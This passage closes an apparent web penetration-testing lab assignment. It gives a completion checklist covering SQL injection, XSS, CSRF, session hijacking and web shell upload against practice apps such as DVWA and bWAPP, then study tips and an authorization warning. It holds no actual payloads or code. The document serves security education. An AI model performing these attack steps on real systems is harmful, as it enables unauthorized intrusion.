 - `Evidence/` folder with screenshots
 - `Scripts/` folder with any exploit code
 - `README.txt` with submission instructions

Lab Completion Checklist

- SQL injection manual exploitation completed
- SQL injection automated (SQLMap) completed
- SQLi findings documented with screenshots
- Reflected XSS attacks performed and documented
- Stored XSS persistence verified
- DOM-based XSS identified and exploited
- CSRF token analysis completed
- CSRF attack HTML created and tested
- Session cookies analyzed and documented
- Session hijacking performed
- File upload vulnerabilities tested
- Web shell uploaded and executed
- Burp Suite Intruder attacks completed
- SQLMap enumeration completed
- Comprehensive penetration test report written
- Evidence gathered and organized
- Assignment submitted in required format

Additional Resources for Further Study

DVWA Practice Pages:

- SQL Injection (Blind)
- Insecure File Uploads
- Insecure Direct Object References (IDOR)
- Broken Access Control
- Weak Session IDs

bWAPP Additional Modules:

- HTML Injection
- OS Command Injection
- SQL Injection (POST)
- Broken Cryptography
- Weak Authentication

Study Recommendations:

1. Repeat labs with Security Level "Medium" and "High"
2. Write custom exploit scripts in Python
3. Study exploit databases (Exploit-DB)
4. Review OWASP documentation
5. Practice ethical hacking certifications (CEH objectives)

Important Note: All techniques demonstrated are for authorized educational purposes only. Never test vulnerabilities on systems without explicit written authorization. Unauthorized testing is illegal.